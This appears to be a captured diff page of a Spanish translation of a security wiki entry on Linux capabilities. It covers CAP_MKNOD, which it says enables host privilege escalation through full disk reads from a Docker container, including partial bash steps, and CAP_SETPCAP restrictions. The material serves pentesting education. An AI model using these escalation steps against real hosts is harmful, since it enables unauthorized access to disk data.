[**CAP\_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extiende la funcionalidad de la llamada al sistema `mknod` más allá de la creación de archivos regulares, FIFOs (tuberías con nombre) o sockets de dominio UNIX. Permite específicamente la creación de archivos especiales, que incluyen:
|
||||
|
||||
- **S_IFCHR**: Archivos especiales de caracteres, que son dispositivos como terminales.
|
||||
- **S_IFBLK**: Archivos especiales de bloques, que son dispositivos como discos.
|
||||
|
|
@ -1515,10 +1517,10 @@ Esta capacidad es esencial para procesos que requieren la capacidad de crear arc
|
|||
|
||||
Es una capacidad predeterminada de docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
|
||||
|
||||
Esta capacidad permite realizar escalaciones de privilegios (a través de lectura completa del disco) en el host, bajo estas condiciones:
|
||||
Esta capacidad permite realizar escaladas de privilegios (a través de lectura completa del disco) en el host, bajo estas condiciones:
|
||||
|
||||
1. Tener acceso inicial al host (sin privilegios).
|
||||
2. Tener acceso inicial al contenedor (privilegiado (EUID 0), y efectivo `CAP_MKNOD`).
|
||||
1. Tener acceso inicial al host (Sin privilegios).
|
||||
2. Tener acceso inicial al contenedor (Privilegiado (EUID 0), y efectivo `CAP_MKNOD`).
|
||||
3. El host y el contenedor deben compartir el mismo espacio de nombres de usuario.
|
||||
|
||||
**Pasos para crear y acceder a un dispositivo de bloque en un contenedor:**
|
||||
|
|
@ -1538,7 +1540,7 @@ useradd -u 1000 standarduser
|
|||
# Switch to the newly created user
|
||||
su standarduser
|
||||
```
|
||||
3. **De vuelta en el Host:**
|
||||
3. **De vuelta en el host:**
|
||||
```bash
|
||||
# Locate the PID of the container process owned by "standarduser"
|
||||
# This is an illustrative example; actual command might vary
|
||||
|
|
@ -1551,17 +1553,17 @@ Este enfoque permite al usuario estándar acceder y potencialmente leer datos de
|
|||
|
||||
### CAP\_SETPCAP
|
||||
|
||||
**CAP_SETPCAP** permite a un proceso **alterar los conjuntos de capacidades** de otro proceso, permitiendo la adición o eliminación de capacidades de los conjuntos efectivos, heredables y permitidos. Sin embargo, un proceso solo puede modificar las capacidades que posee en su propio conjunto permitido, asegurando que no puede elevar los privilegios de otro proceso más allá de los suyos. Las actualizaciones recientes del kernel han endurecido estas reglas, restringiendo `CAP_SETPCAP` a solo disminuir las capacidades dentro de su propio conjunto permitido o el de sus descendientes, con el objetivo de mitigar riesgos de seguridad. Su uso requiere tener `CAP_SETPCAP` en el conjunto efectivo y las capacidades objetivo en el conjunto permitido, utilizando `capset()` para modificaciones. Esto resume la función principal y las limitaciones de `CAP_SETPCAP`, destacando su papel en la gestión de privilegios y la mejora de la seguridad.
|
||||
**CAP_SETPCAP** permite a un proceso **alterar los conjuntos de capacidades** de otro proceso, lo que permite la adición o eliminación de capacidades de los conjuntos efectivos, heredables y permitidos. Sin embargo, un proceso solo puede modificar las capacidades que posee en su propio conjunto permitido, asegurando que no puede elevar los privilegios de otro proceso más allá de los suyos. Las actualizaciones recientes del kernel han endurecido estas reglas, restringiendo `CAP_SETPCAP` a solo disminuir las capacidades dentro de su propio conjunto permitido o el de sus descendientes, con el objetivo de mitigar riesgos de seguridad. Su uso requiere tener `CAP_SETPCAP` en el conjunto efectivo y las capacidades objetivo en el conjunto permitido, utilizando `capset()` para modificaciones. Esto resume la función principal y las limitaciones de `CAP_SETPCAP`, destacando su papel en la gestión de privilegios y la mejora de la seguridad.
|
||||
|
||||
**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede utilizar esta capacidad.
|
||||
|
||||
Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitido**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
|
||||
Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitido**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción impide que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
|
||||
|
||||
Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o el conjunto de capacidades permitido de sus descendientes**. Este cambio se introdujo para reducir los riesgos de seguridad potenciales asociados con la capacidad.
|
||||
Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o en el conjunto de capacidades permitido de sus descendientes**. Este cambio se introdujo para reducir los riesgos de seguridad potenciales asociados con la capacidad.
|
||||
|
||||
Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitido. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos.
|
||||
|
||||
En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitido o los conjuntos de capacidades permitidos de sus descendientes.
|
||||
En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitido o en los conjuntos de capacidades permitidos de sus descendientes.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue